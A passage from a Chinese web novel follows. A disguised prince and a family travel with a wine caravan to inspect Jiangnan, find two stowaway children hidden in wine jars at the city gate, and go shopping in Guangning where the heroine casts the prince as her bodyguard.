因为进出城门的时间变短,每日城门内外的车马也比夏日多了不少,天还不亮就排起了长队。但随着城门大开,一辆辆牛马车架整齐的停在一侧,没有人轻举妄动,紧张好奇地侧头看向另一边 威武高大的卫兵高坐马上,一个个身着盔甲长刀,在寒凉的白雾中凛冽寒霜 骑兵之后是宽大的车架,车身由昂贵木料组成,上面花纹精细,无一不是最顶级的工艺,代表着皇家的黄旗更是表明其中的身份,让人不敢轻举妄动 领头的人手持缰绳,凛冽的盔甲下,狭长的眸子不着痕迹探过周边,随后发出喝声,挥动马边缰绳,带着整齐的队伍踏着白雾率先走出城门 一直到车队也消失在白雾之中,城门这才再次放开,排着长队的人们挨个走出城门 一早出城的,多是些商户、工人,他们架着牛车马车朝外,身后带着或满或空的车队,就这么走出城门,沿着宽阔的道路往前,最后又在分岔路口上分流,前往不同的地方 分开、汇集 路上全是车辙印子,分不清谁是谁了 直到正午时候,太阳升起,车道上,一路从未停歇的车队在路边停下 领头的是两架简单的车马,不管是车身还是马匹都普通得不能再普通了,后面拖着几车的酒坛子,还有一看就洒脱的江湖人士 “大家简单歇息一下,还是老规矩,该吃吃该喝喝,但是该闭嘴就闭嘴”乐呵呵的曹老板从最后面骡车上跳了下啦,招呼着护航的人,然后朝着前面走去 “夫人小姐可以下来歇息一下,这边地平,有什么都看得到,不用担心安全” 车帘掀起,宋锦的脑袋冒了出来,她梳着最简单的发髻,凤眸明亮:“不错嘛曹老板,你还有这一手啊” 曹老板乐呵呵:“老曹我行走江湖这么多年,这些小把戏熟得很咧,小姐就放心吧,虽然不比官道快,但是我们昼夜轮换,去安东府也顶多十日” 宋锦竖起大拇指:“厉害,辛苦你了” 曹老板:“客气客气,都是我该干的” …… 两个人一阵寒暄,宋锦关上帘子回去,看着马车里面 不大不小的马车里坐着四个人 她,她娘,曲茂泽,还有,齐铮 宋锦啧啧两声,揶揄:“看看,看看别人混江湖,再看看有的人,跟做贼似的” 由都城去往江南一地的巡查队伍已经下去,作为带头的人,齐铮却和他们缩在着简陋的小马车里,跟做贼似的 齐铮无奈:“江南六郡士族深厚,便是前朝战乱,也少受影响,各族势力少有更替,看似繁荣富裕,但兼并盛行,不知更改细节,底下百姓生活不知如何。若随着巡查队伍下去,看到的自然是他们让看的,不如秘密行事” 刚好,那边队伍有宋慎之领头,又有体型相似、熟悉他的李青山伪装,糊弄一段时间绝对没有问题 等后面那边暴露,他们沿途一路也巡查得差不多了 今年江南几郡赋税大减,据说是天气变幻,水旱交替,百姓日子艰难,朝廷还下了不少赈灾。他倒是要看看,是真的老天爷不给力,还是某些人老爷当惯了,不给百姓活路 “岐王真是神机妙算,但身上任务重大,我们一群老弱妇孺跟着,恐影响您办事吧?”曲茂泽阴阳怪气的声音传来 他看着齐铮这个自己从外面带回来的岐王,他长得和齐晔如出一辙,但又俊美不少,身形高大,身板结实,看过去没什么软板 但是 嘴皮偏薄,薄情,就看他沉默寡言的样子,这一点八九不离十 身形高大,武艺高强,这以后真有点什么,打架还打不过,不行 看着老实,但心眼子多,也不行 …… 面对他的挑剔嫌弃的目光,齐铮面不改色,依旧是那副沉默寡言的模样,但是非常机敏的,根本没有回他,反而看向他旁边的牛铁兰 “夫人身子可还舒服?” 牛铁兰轻轻抿着茶水,轻声:“多亏了你准备的醒神茶,比来时好多了,还是你们年轻人细心,不像某些老东西,只会说风凉话” 老东西曲茂泽心口一痛,轻捂胸口:“夫人这是嫌为夫老?” 牛铁兰喝完茶水,放下杯子,轻声细语:“实话实说罢了,走吧,金金,岐,齐公子,下去歇息一下,吃点热食” 她站起身,曲茂泽正想扶她,宋锦抢先一步扶住人,冲他做了个鬼脸,得意洋洋地带着她娘下来了车,马车就剩下了他和齐铮两人 他似笑非笑:“岐王可真招人喜欢啊,有机会教教我呗?” 这四人一行下来,倒是显得他才是局外人了 齐铮面不改色:“可能是,天生的吧” 说着,他冲人轻轻颔首,也跟着下了马车 留下曲茂泽握着发硬的手,掐碎了手中的杯子 这死小子 …… 曹老板是个很有经验的老板,合作的江湖人也都是自己认识多年的熟人,一个个能打能扛嘴巴严,最重要的是还靠谱 他们走的都不是什么正道,中间各处穿梭,左右调转,弯弯绕绕的,倒是比直走还要更快一些,很快就倒了江南六郡之一的泰安郡 这边河流众多,三河交汇,河道宽阔,以漕运出名,每年运输的东西数不胜数,是非常重要的水运枢纽 “广宁府是泰安郡的郡府,知府名贺伯,善治理,十五年间,从县令到通判、都督、知府,政绩斐然,其中最厉害的就是修筑了泰安运河,连接泰安郡和安东郡,省了往日一半运输时间,也灌溉周边万亩良田,去年赋税多了一成……” 广宁府城的城池就在眼前,说实话,远看着比起永安城普通不少,但是繁荣,这边一点儿不差,甚至因为是运输枢纽,来来往往的商贩更多,四周吆喝的水手船家不断,看他们肤色深度和臂膀结实都能看出个一二三四 宋锦他们坐在马车里,听着齐铮缓声说着广宁府的事情,经济、政治、人口分布他知道得一清二楚 曲茂泽一如既往地阴阳怪气:“齐公子懂得可真多啊” 齐铮习以为常,坦然:“不如曲公子,临时抱佛脚罢了” 他出门前被塞了一堆这边的信息,好在他以前行走江 湖那些年走南闯北,对各郡府都有了解,记起来没那么难。不然他这一路怕是都要埋头记书,更得被嘲个不停了 面对他的坦然,曲茂泽也不知何为见好就收,继续:“哪里哪里,公子学识渊博,刚好今日日和风光,公子又姓齐,不如以修身齐家治国平天下为准,道一道这泰安运河?” 齐铮:…… 宋锦盘着腿坐在牛铁兰旁边,见此忍不住哈哈大笑了起来:“齐公子不会吗?” 齐铮无奈,摇头 运河的优劣他倒是知道,但也都是大白话,扣题什么的 “修身齐家治国平天下前面是什么来着?”宋锦替他问了出来,不过还添一句:“也是《论语》里的?” 相比之下,齐铮稍微好一点,低声:“出自四书的《大学》礼记篇” 他回来之后,在文史上的课程其实不多,只是简单研学,更多的还是在应用数记上 对于诗书就是简单研读,有个印象,背不出来 宋锦就更只记得三字经前面一半,还有一点论语——他们镇学堂两月学识的水平 曲茂泽本来是想借机贬低齐铮的,现在看着他俩如出一辙的疑惑,反倒是自己心梗了,一时沉默了下去 他一个文武双全,力压所有文臣,响当当的前任首辅,闺女竟然连四书都分不清 还好他已经死了一遍 曲茂泽在心里庆幸 牛铁兰看出他的庆幸,在一旁弯着嘴角,只觉得好笑 之前还说什么没文化也好,现在知道了吧? 要不是她这些年压着,破闺女连这些都不会咧,感谢她吧 曲茂泽像是看出她的心里想法,伸手拉住她纤细冰凉的小手,轻轻捂住,笑道:“多亏我们夫人了” 牛铁兰轻哼一声,看着他有些苍白的脸,难得没推开人 这人此番出来,本就是为了她 她身上种蛊才开始,母蛊不稳,身子虚弱,每日还要种下新蛊,很是麻烦。她这次其实没想过这次出来,只盼着那人确是她可怜的阿爹,得到消息也愿意过来一见 曲茂泽面上不显,一句话不说,背后安排好一些,就带着她们出发了 他也调整了种蛊顺序,代价便是,她这几日吃的药物中又多了个股血腥味,他的脸色也是压不住的苍白 牛铁兰心还是有些发软 其实不走这一趟她也还好,几十年没见面了,真说感情,也只不过是儿时心头压着的自责罢了 现在得知人过得很好,还有爵位在身,她更是没什么好担忧的了 曲茂泽看着她软下的态度,勾着嘴角,得寸进尺地轻轻捏着她的手,甚至整个人往她那边靠,装着可怜:“到时候见了岳父大人,夫人可一定要替我说说好话,否则我一个没名没分没根没底的野小子,真就无家可归了” 牛铁兰不吃这套,睨着他,嫌弃:“谁是你岳父了?没名没分的,一边去” 曲茂泽捏着她的手,轻笑:“也行,那我就当你养在外面的小白脸吧” 牛铁兰一把推开人,低骂:“胡言乱语” 曲茂泽闷声笑出,握着她的手,又轻轻嘶了一声 很是刻意 但牛铁兰还是停了动作,随了他去便是他愈合速度再快,也快不过划伤的速度 宋锦在一旁打着哈欠,难得的也没说什么 他们这一路过来已经七日,狗鼻子一般的她自然嗅得到那若有若无的血腥味 他平日说的再好听,宋锦都能当他放屁,但这货真价实的刀刀血肉,真的很难让人视而不见 她只能睁一只眼闭一只眼 总归,这是她娘的事情 不过不爽还是不爽,她偷偷背着说小话:‘他真的好烦啊,一身的心眼子’ 齐铮垂着眸,透过车窗看向外面,敛住眼眸,藏下神色,但回话毫不迟疑:‘确实’ 宋锦就喜欢他这实诚的态度,说坏话就是要大大方方一起说嘛,她继续:‘是吧是吧,他真的有些烦人,一路上还停针对你,怎么,他觉得你这个皇子不行,看上其他的了?’ 齐铮忍不住回头看了她一眼,见她一副真心实意的无辜模样,欲言又止,最终还是无奈回头:‘……可能吧,我学识确实不行’ 宋锦明显不悦:‘学识怎么了?不就是多会几本书吗?有什么了不起的’ 齐铮:‘……是好几百本’ 宋锦惊:‘那确实挺了不起的’ 不过说完她又觉得不太对,改口:‘那也不代表什么,你还是有很多他们比不上的优点的’ 齐铮的心突然就软了下来,忍不住细问:‘比如?’ ‘稳重、善良、正直、武艺高、脾气好……’宋锦不用细想都能说出一堆,说到最后,话音一转,眼眸一眨,促狭道 ‘长得俊,很结实,口感好’ 那肌肉结实的,正合适她磨牙咧 齐铮无言以对,回神瞥了瞥她,她眼眸灿烂,里面星光闪闪,和往日又没什么不一样,让他看不出她是到底是什么想法 他回:‘缺点呢?’ ‘稳重、善良正直、武艺高……’宋锦眨眨眼睛,促狭地把之刚才说过的话又说了一遍 齐铮:…… 他就多余问 看着他面无表情的脸,宋锦低头憋着笑,也没再说什么 她脑袋往后一靠,腿往前一搭,长长的腿微曲,正好伸在他的腿上,不轻不重瞎踩了两下,才收了回来,毫无诚意道:“不好意思了,踩到你了” 两人的悄悄话回归台面 齐铮被她踩了个猝不及防,大腿瞬间绷直,神色不太自然:“……无事” 宋锦继续憋笑,穿着布袜的脚蠢蠢欲动,眼看着又要伸出去了,腰间一痛,她转头对上牛铁兰警告的目光,讪讪一笑,瞬间老实了下来 齐铮呼了口气,耳边又传来曲茂泽阴测测的声音:‘你给我老实点,别以为你是王爷我就不敢收拾你了’ 齐铮:…… 有本事警告你闺女去啊 曲茂泽看着他冷笑 有本事还嘴 齐铮不语,顶着他一贯的冷脸,继续看向车外,就当他不存在 他们在马车中说话的空隙,距离城门也越来越近了 城门口门卫看守,普通百姓直接进城,卖东西小贩交两文钱税费 左边有白发老翁挑着东西过来,他们直接放行,后面瘸腿汉子背着栗果,也没收钱 守卫规矩严明,又有仁义 这些都是从上而下,看得出那知府贺伯治理很有一套 齐铮这次过来,一是查探江南氏族情况,二就是考察贺伯这个知府 朝堂现在,还差个尚书顶上 贺伯这个外派十来年,有才华有忠心又中立的人就很合适 齐铮看着有序的城门,心中对贺伯德好感加深 一行人就这么排着队来到城门处 他们的车队很是简单,两架马车,六架骡车,车上都是厚重的大酒罐子,一看就是出来卖酒的 守城的城卫正好好酒,看着那么几车子的好酒,闻着那个味道,眼睛都快发光了 曹老板非常识趣地走了过去,拿了几个小酒坛出来,他乐呵呵:“各位爷都尝尝,我们的酒是家里祖传的药酒,味道好不说还养身” 小酒坛子很简单,也就只装得下一两,不值什么钱,城卫也没推拒,接过来浅尝一口,很是赞叹:“好酒好酒” 另一人也赞:“确实好酒,就是有点烈,还好我就尝了一口,要是醉了可就不好了” 好酒的城卫脑袋哈哈:“你这娘们酒量” 宋锦下了马车就听到这话,眉头一挑,一句话也不说,大步过来,拿出小坛酒一饮而下,随手扔到一边 城卫哈哈:“姑娘好酒量,在下失言了” 宋锦勾唇:“官爷客气,我们第一次过来这边,不知道城中哪儿吃食最好?” 城卫脾气很好,哈哈大笑:“若单说好吃,那一 定是安康街的清风楼,味道那叫一个地道,开了几十年了,价钱也合算,我们经常去。若要说排面,必须是玲珑阁,我们也就运气好之前陪着知府大人吃过一次,味道不错,排场那是这个” 他竖起大拇指 像他们这些底层小吏,多的不说,眼色是一定不少的 宋锦几个人不出来,这只是一普通的商队,他们一出来,那就绝对是少爷小姐出门游玩了,一看就是不缺钱的 长得好就是这般,一个人还能掩藏,一群人嘛 宋锦笑了笑,也没掩饰:“那可巧了,我们一路赶路累了,先去玲珑阁好好休息一下,晚点去尝尝清风阁,多谢官爷推荐了” 城卫就知道自己没猜错,他笑:“客气客气,不过按照规矩,我们还得再检查一下,几位再等一等” 他说话的时候,另一个城卫已经去看那些个酒坛子了 酒坛子这种东西最好藏东西,也最好检查 宋锦他们一路都是小城,倒是没遇到过这种检查,不过他们虽然出来是装样子,但是东西还是货真价实的,也无所畏惧 她笑着抱起一旁五斤装的酒罐:“辛苦军爷了,一会儿一人拿一坛子回去,平日喝点,站久了腿也会舒服些” 城卫赶紧推辞:“不用不用,这可要不得” 宋锦:“不值几个钱” …… 身后,曲茂泽看着宋锦熟练地和城卫拉关系,目光深深 牛铁兰站在一旁,她带着帷帽,轻声:“她以前在泗安县的时候经常和衙役打交道,每次不是带些草药就是兽肉,那些人都喜欢她,平日有些什么小道消息都会提前和她说” 曲茂泽想着那个画面,心中不由酸涩,低声:“能屈能伸,金金很厉害” 牛铁兰喜欢听这话,柔声:“金金确实厉害,如果不是她的话,我应该活不到现在” 曲茂泽正色,捏住她的手:“胡说,她有她的厉害,你有你的厉害,加在一起,翻倍厉害” 牛铁兰脸颊不由泛起晕红,嗔道:“油嘴滑舌” 曲茂泽正色:“实话实说罢了” 牛铁兰透过薄纱看着对上他漆黑的眸子,心倏的一窒,她咬咬唇,想要抽过手,又被紧紧捏住动弹不得 那大手紧扣,不留一丝缝隙,带着他炙热的体温,像是炭火一般 牛铁兰突然就觉得烫手了起来 虽然前段时间该做的不该做的都差不多了,但都是为了治病,再是乱七八糟也能压下,倒是此刻简简单单的牵手,心口跳动得有些过速 曲茂泽拇指轻轻擦过她的手腕,嘴角轻轻扬起,难得地没有说什么扫兴话 两人就这么静静地站在一起,不约而同地看向另一头的宋锦 她熟练地和城卫拉近关系,跟着套话:“我们第一次过来,听说这边漕运便利,价钱也便宜,若是以后摊子拉开了,走漕运应该便宜些,就是担心碰上水匪” 城卫一边检查酒坛子,一边解释:“看你们走哪一截,千河那边近几年都没听过,但是开化那有几段就不行,很危险,你们这些小生意没必要冒险” 宋锦疑惑:“这样啊,不过都知道在哪头了,不能打上去吗?” 城卫摇头:“难啊,他们占据地利优势,易守难攻,又十分擅水,不好对付。而且那些水匪很机灵,知道这几年上面严了,就经常换地抢,又蒙着面,很难抓” 宋锦恍然:“那确实危险,希望我们遇不到这些,但是走路又怕遇到山匪,听他们说这边今年闹灾,万一灾民想不通,也危险” 这下换城卫疑惑了:“有这回事?” 宋锦挠头:“有吧?就是明南郡那边?不是还有什么赈灾吗?也可能是万丰郡?我也记不清,反正不太安生” 城卫恍然了,嗤笑两声:“那你们可放心走吧,那边啊,外地人还是没什么事,本地人,啧,唉,不说这些,我弄快点,你们也早点进城休息” 宋锦回过头和齐铮对视,眼神若有所思 那边肯定是有猫腻的,就看他们找不找得到证据了 宋锦看着动作麻利的城卫,没再多问,免得被怀疑上,只想着后面找机会再探一探口风 有些民间事,上面的人知道的还真没有底下的人多 城卫动作很快,两个人一路检查过去,到了最后一车子,他们突然顿住,眼神开始交流了起来 本来还随意靠在车上的宋锦心中有了不妙的感觉,她大步走了过去 “官爷们,有什么问题吗?” 两人没有说话,只是狐疑地打量着宋锦,看看她再看看其他人,神色都差不多,带着疑惑,没有惊慌 好酒的城卫见此没多说什么,当着他们的面,抽出最外面的酒坛子盖 瞬间,一股臊臭味传出 几人心中起了不详的预感 果然,几瞬功夫,两个毛茸茸的脑袋怂兮兮冒了出来,扒着酒坛口子,眼珠子转来转去,左看右看就写着心虚两个字 曹老板惊怒的吼叫声传来:“杨小花你要死啊!!” 宋锦嘴角一抽 以后谁再说她是熊孩子她可要反驳了 第102章 简直是天才 “啊唔唔唔” “咔嚓咔嚓叭叭叭” …… 玲珑阁二楼,宋锦靠在窗户边上,撑着一只手,有一下没一下吃着这边的特色凉拌冷鸡,看着对面脑袋都快埋进碗里的两个小崽子,啧啧 “小心别噎死了,两个饿死鬼崽子” 她小时候胆大,那是在她内力在身,又有前世记忆,训练按部就班,确保自己的安全的情况下 这两小破孩就纯莽啊 杨小花绝对是带头的,但是宁宁也好不到哪儿去 从都城到这边总共七日路程,她们全程就在那大酒坛子里面,吃干粮喝水喝酒,实在憋不住了,就着喝了的小酒坛子撒尿,晚上扔出去 可真能憋啊 也就是现在天气寒凉,要是夏日,不得闷死她们 小花和宁宁想不到这么多,她们现在纯饿 这七天过来,她们两就靠着两个大烧饼还有些零嘴过的,中途饿的不行就喝点酒,晕晕乎乎一天就过去了 现在顾不上害怕,一心只有吃的 两口人大口大口吃饭喝粥,没一会儿碗里的饭菜见了底,这才有说话的功夫 小花扒着袖子擦嘴,长长呼气:“啊,活过来了” 宋锦嫌弃,扔过一张手绢:“好好擦,脏死了,两个臭崽子,一会儿带你们去买衣服换一换” 若是刚出城的时候,他们还能把人送回去,现在都这么远了,只能带在身边了 好在两个人都是很独立不需要照顾的,添不了什么麻烦 但是花费肯定少不了 曹老板瞪着小花:“衣服钱从你们工钱里扣” 小花瞪大眼睛,顶着小花脸:“那我不要,我就穿这个,我不嫌弃” 宋锦嘴角一抽:“我嫌弃,行了,来都来了,要收拾等以后回去再收拾吧曹老板” 曹老板狠狠剜了剜小花,再看她旁边吃饱了慢吞吞啃着果子的宁宁,苦口婆心:“宁宁你怎么跟她一起闹啊,很危险的,一个不注意闷死在里面怎么办?” 宁宁奶呼呼:“我们不是故意哒,我和花花玩捉迷藏,钻罐子里,晕乎乎睡着了,醒了就在车上了” 曹老板摸摸她红红的脸,愁:“怎么不说呢?” 宁宁耷着脑袋,瑟缩一下:“害,害怕” “害怕被赶回去不能跟着出来玩是吧?”宋锦呵呵一笑,一点儿不给面子,“两个小崽子没一个老实的,都欠揍” 宁宁瘪嘴:“宁宁乖乖的,金金姐姐” 小花也赶紧:“这次真不是故意的,我还以为是回村子呢” 宋锦呵呵一笑,伸手一人脑瓜子上重重弹了弹,“下不为例,这次运气好,再次可不好说了” 两个小丫头赶紧傻笑 她们还是第一次出远门呢 牛铁兰在一旁看着两个傻大胆的小丫头,想到从前母女俩刚到林溪镇那会儿,宋锦比她俩小一点,就敢拎着菜刀跑去林镇长家掀了他家房子 后面她病入膏肓,也是宋锦到城里找到老刘头,将她救了回来,这些年一点点续命 如果当时她就那场风寒去世了,牛铁兰觉得,宋锦一定不会老老实实呆在镇子里,可能也就和这两小丫头一样,顶着脏兮兮的小脸蛋就浪迹天涯了 她的骨子里就刻着自由恣意 在镇上的时候走不远,就往山里跑,去收拾土匪盗贼,对于别人来说的险境,于她只是日常 从小就是个野丫头 牛铁兰伸手戳着她的脑袋:“你就把人带坏吧” 宋锦叫冤:“这也能怪我?娘你这就是偏见” 说着,她做了个鬼脸,眉眼张扬得意,就这么给小花宁宁夹了夹菜,眼神中都是满意 小孩子就是要这么胆大才好 牛铁兰无奈摇头 看吧,若不是她在后面撑着,这两个小崽子怎么可能这么大胆? 牛铁兰看着那边的小花和宁宁,看着 她们不同于寻常小姑娘的机灵和大胆,也说不好这对她们来说是好还是坏 但是总归,人生苦短,能快乐几日便快乐几日 她敛下眸子,端起手边的茶杯轻轻一抿,脸色瞬间变化,一张脸皱了起来 “好酸” 她瞪向旁边的男人:“你又干了什么?” 曲茂泽嘴角噙笑,从她手里接过杯子,放到嘴边轻轻一啜:“怎么了?” 说着,他放下杯子 牛铁兰看着空荡荡杯底,牙齿不由酸了起来,没好气地瞪了瞪他,自己又重新倒了一杯,小心翼翼地碰了碰 醇香浓厚,没有乱七八糟的味道,她这才放心喝下 相比起刚才莫名的愁然,还是现在警惕生气的模样更顺眼 曲茂泽唇角微扬,也重新倒了茶水,多喝了两杯 确实酸 一顿饭并没有吃多久 因为两个小家伙,太臭了 一群人都是过过苦日子的人,但也不是什么喜欢没苦硬吃的人,离开了都城,远离那些探视的人,外面没人认得出他们 正常来说是的 不过有一两个例外也正常,谁让宋锦和宋商的长相这般相似呢? 好在问题不大,他们马上就到目的地了,耽搁不了什么 一行人路上奔波,现在难得可以好好休息,她们直接入住玲珑阁,住的一等一的好房间 可不能让两个臭崽子糟蹋了 一群人饭后就直接出门带她们买衣服 宋锦手上拿着两根绳子,绳子另一头套在小花和宁宁的腰上,就跟遛狗似的 宁宁性子软,又贪吃,啃着个甜柿美滋滋的,完全不当一会儿 小花性子强,耷拉着脑袋,一步一步重重的,满是不情不愿:“我又不是狗” 宋锦挑眉:“我想想啊,刚才那顿饭多少钱来着?” 齐铮记得格外清楚,他面无表情:“七两三钱八十六文” 小花大声:“什么?不就是鸡鸭鱼吗?分量那么少凭什么那么贵?” 宋锦啧啧:“我再算算,我们七个人,每个人平摊下来就是” 刚才还不情不愿的小花立马变了副嘴脸,拉着腰上的绳子自转一圈,把自己绑得结结实实 她汪一声:“外面人这么多,栓得好,金金姐太有先见之明了” 宋锦啧啧两声,弯下腰勾了勾手指,刚还在吃东西的宁宁赶紧转身,抢先一步把下巴搭了过来,奶声奶气 “宁宁乖乖” 小花在一旁翻了个白眼,一脸嫌弃 没出息的娃 宋锦勾着唇,就这么逗着两个小崽子,来到附近的绣坊 玲珑阁这边是广宁府最好的地段,附近也没什么便宜货,里面的布料子一看就不便宜 小花死死抱住门槛:“穿不起,卖了我都穿不起,我们去找便宜的吧” 周围人来人往,见这动静都跟着看了过来 宋锦嘴角一抽,一脚踹在她屁股上把人踢开:“再闹真给你卖了,给我老实点,进去” 若是以前,她还真不会来这种地方,又不是钱多了没地方烧 她现在还真是 她娘给她整理的那些嫁妆,真金白银和首饰字画就不说了,光是铺子田地,每年的收益完全敞开花都花不了 她现在就是典型的暴发户了 几十几百两的,小意思了 “按着她们的身形一人来两套,就要,那个绿的吧,一样的花样”宋锦伸手指着另一边绿色牡丹花样的小孩衣服 店里面料子很对,成衣就一般般 这年头有钱人家更喜欢买料子回去找绣娘定制 店员有些迟疑 宋锦挑眉:“怎么,我看着像没钱的?” 店员赶紧摇头:“这哪儿能,只是两位小姑娘,看着更适合那一套” 她介绍着旁边偏粉色的桃花对襟段衣,这两件不似牡丹的华贵,浅淡清秀,更和小花和宁宁的气质。两人长得清丽浅淡,不太适合浓艳,而且也明显喜欢粉粉的颜色,盯着就挪不开眼 但是 宋锦抱着手,想也不想:“我喜欢绿色那个,我出钱,听我的” 小花和宁宁蔫着脑袋,眼睛依旧黏着粉色衣服 宋锦就当没看见,大手一挥,催促:“就那个了,快点吧” 女绣娘看看这个看看那个,还是有些迟疑 牛铁兰没眼看,走上前一巴掌拍在宋锦脑门上,把人镇压,冲着绣娘温声:“就那两件粉色桃花衣吧,还有那边的兔纹褂子,鞋子要软厚底耐走的……” 比起宋锦这个随心的,牛铁兰一看就是行家,各种搭配料子都懂 她说话也温声细语,长得又秀雅恬丽,身段纤细,让人很容易就对她生出好感 绣娘抿嘴笑着,听着她的话挑选着东西,和刚才比起来放松许多 曲茂泽跟在她旁边,时不时搭上一句里,都能说道关键处 两个人一个秀雅一个温润,站在那儿看着就是大户人家的公子夫人,知书达理温文尔雅,很是养眼 宋锦郁闷地靠在一边,捂着脑袋,嘟囔:“什么嘛,不是说好的随便买点吗?” 两人这细致的,宋锦这个带头过来的人都不开心了 还记不记得自己闺女是哪个啊 她睁大眼睛盯着他们的背影,盯得眼睛都酸了,两人都没回个头 好气啊 齐铮全程安静地站在一边,很少说话,见她这幅模样只觉得好笑 这人平日嚣张恣意,天不怕地不怕的,唯独对着牛铁兰,完全是一副小孩子模样 他说道:“去楼上看看?” 宋锦撇着嘴,再盯盯前面的两人,见他们还是没有反应,气冲冲朝着楼上去 比起一楼,二楼东西更为贵重,好些料子挂在上面,那刺绣工艺便让人咋舌,摆放的金玉首饰更是不少 宋锦气冲冲上来,急冲冲跑走,来到最里面的屋阁里,双眼发光地看着面前的金红衣服 红衣为底,金丝为线,外面缝制一块块金片,看上去像是铠甲一般,富丽凛然,坚柔并备 宋锦眼睛亮了起来 她就是个俗人,金子真的让人没办法不喜欢啊 齐铮嘴走了过来:“喜欢?” 宋锦点头,双眸璀璨,就这么看着他 齐铮嘴角一抽,小心试探:“那,我买?” 宋锦果断点头,一点儿也不客气 百万财产虽然多,但再多一点也无妨啊 这衣服上的金片肉眼可见地重,再加上工艺,还有一边配套的珠宝首饰,黄金万两不至于,黄金百两肯定是少不了的 刚好有金矿的齐铮:“……好” 这衣服价格昂贵,也是绣房的镇店之宝,很快坊长就赶了过来,小心招呼他们,确定之后,谈妥价格,又派人小心安装护送,一点点下楼 牛铁兰也没想到,她就是转个身的功夫,宋锦能给她弄出那么大事。看着箱子里的金光璀璨,她眼前一黑:“给我退了” 宋锦不干,护着箱子:“不要,又不要你出钱” 虽然一套下来属实不便宜,但是金子和宝石都是真的,这玩意儿放家里也是压箱底,不会亏的 她难得看上合心意的,才不退咧 牛铁兰看着她不服气的倔头样,气得心口疼,恼怒地踩了一脚旁边的人:“你看看这败家子” 曲茂泽看着那金光闪闪的衣服倒是没什么多余的想法,不就是金银嘛,他闺女喜欢就好 金子这玩意儿,他那边多得是 但话肯定不能这么说,他噙着笑,轻声安抚:“真金实银的,回去不喜欢了熔一下也能弄其他的,不会亏,现在退了多伤孩子脸面” 牛铁兰瞪他:“她还在乎那点脸面?” 她闺女什么时候要过脸了?她怎么不知道 宋锦轻哼:“我怎么不要了?” 牛铁兰还是坚持:“退了,你还嫌自己不够高调?” 宋锦抬着下巴:“我行得正坐得端,有什么怕的?娘你也太胆小了,我们都离开都城了,那些人哪里找得过来?该花花,排场拿出来” 那模样,纨绔得不能再纨绔了 牛铁兰心口疼,但也知道说了没用,自己闺女自己还能不了解吗?她出门哪儿带那么多钱啊,一看就是齐铮出的 她狠狠瞪了瞪人,气恼转身,对着绣娘道:“刚才的东西都包起来,除了那个料子” 说完,她气冲冲离开绣坊,曲茂泽瞥了一眼宋锦和齐铮,不急不慢地跟了上去 宋锦大摇大摆走到柜台前面,看着她娘特意退货的绿色牡丹同款料子,笑嘻嘻:“不退不退,算钱吧,一起装好” 绣娘艰难敛住震惊神色,小心算起了账 宋锦抱着手,张扬得意地站在一边,冲着齐铮挤眉弄眼 就等着看吧 齐铮在心中叹气,他就知道这人安分不下来 不过,也不妨是个方法 他看向那边一点点合上的金衣箱子,目光扫过周围人群中不少闪烁的目光,轻轻叹了一声,上前一步,冲着那些搬运东西的人道 “动作都轻一些,小心弄坏了我家小姐的东西” “噗嗤” 宋锦没忍住笑了出来,对上齐铮谴责的目光,她理了理嗓子,跟着喊道:“就是,都给我小心些,真弄坏了我戴元锦的东西,你们这些人十条命都不够赔的” 可真有她的,这么一会儿功夫新身份都给自己套上了 戴元锦戴元锦,直接给金玉阁多出个小小姐了是吧?正好现在金玉阁出事,几房人各跑各的,事情发生一段时间,这边定然也有商户传来消息,再一对上 齐铮可以想象后面接踵而来的麻烦人了 他真心实意:“……小姐,低调一点” 他就只是想探一探这边的底细,找人问一问,自己眼睛看一看,很多东西都看得出来。他又不是傻的,真以为齐晔让他过来是因为不清楚这边的情况 就齐晔手里的那些亲卫,随便派几个下来,会不清楚这边的情况? 只是听和看完全不一样,同样的东西,从不同的角度看去就是不一样的。 齐铮以前作为游侠过来,看的是人,是城,现在作为王爷,看的是百姓,是官僚,是世家地主 不是过来和这边士兵抢功的 宋锦才不管那么多,她就是看热闹不嫌事大的,从都城出来安分一段时间已经是她的极限了,现在眼看着就要到安东郡了,她要活动活动筋骨,也要,打点风头出去 免得到时候过去她娘还要受委屈 宋锦抬着下巴,娇蛮道:“注意你的身份,本小姐的事要你管吗?” 齐铮漆黑的眸子看了过去,看着她上挑的眉眼,还有娇俏蛮横的小模样,心中的无奈一点点漾开,又化作了笑意,藏于眼间 他们其实可以通过传音偷偷交流的,但两人默契地都放弃这个选项,就这么眼神交换间,构建了新的身份 她是携款出走的蛮横小姐,而他,一个普普通通的高大护卫 齐铮看着她洋溢出的得意,一点点收回目光,轻声:“知道了,小姐” 他站在那儿,身形高大,肩膀宽阔,透过宽大的衣服都能看到起伏的肌肉痕迹,就这般体型,他又只穿着一件普通得不能再普通的灰色衣服,还有多年镖行经验在身,稍加伪装 说他不是护卫都没人信 离开了都城,齐铮虽然依旧习惯性板着脸没什么表情,但身上一惯的凛冽肃杀气也一点点散去,那身压人的气势变成普通人的疏离冷淡 宋锦看着他微微躬起的肩背,漆黑的眼珠子溜溜转动,脸上的笑容一点点灿烂了起来 这人简直是、天才,护卫这个身份,可太棒了 第103章 上次咬的是这? “齐护卫,过来,付钱” “齐护卫,过来,还有这个” “齐护卫,走快点,脚断了吗?这点路都不行” …… 街道上,宋锦走走停停,什么店铺都要进去溜达一圈,有看上的,管它是吃的玩的还是废物摆件,通通拿下,然后交给新上任的齐护卫 名字就叫阿齐,没有姓氏,是个流浪孤儿,学了一身武艺,后面被她偶然救了,收编当护卫 救命之恩在身,宋锦这个主子怎么骄纵,他都得老老实实受着 齐铮走在她的身后,身上大包小包抱着拎着一堆的东西,就这么面无表情地看着她的背影,看着她还能得寸进尺到哪一步去 宋锦就当感受不到身后针芒般的目光,悠悠闲闲地走着,突然一个步子加快!!! 后面,小花和宁宁手牵着手,腰间的绳子松松垮垮立在半空,眼看着绳子的另一头宋锦加快了速度,她们立马跟着小跑起来,赶在绳子绷紧拖拉之前拉近了距离,避开了被扯倒在地的悲惨可能 逃过一劫,两人齐齐呼了口气 小花擦擦汗,嘟囔:“早知道就不出来了” 她这辈子就没这么狗过 宁宁奶呼呼:“好玩” 小花撇嘴:“有奶就是娘的小傻子” …… 说话间,宋锦已经停了下来,看着路边摆放的一摊子竹编制品,随手拎起一个染了色的精致木篮子,放到手臂上挂了挂,正要询问价格 身后突然传来了阵阵惊呼声,回头一看 那边有个七八岁小子不知道从哪儿窜了出来,惊了旁边的大马,眼看着马失了控甩掉身上的人就要乱窜,宋锦下意识冲了过去,一脚踹开罪魁祸首熊孩子,正要攥住马身上的套索 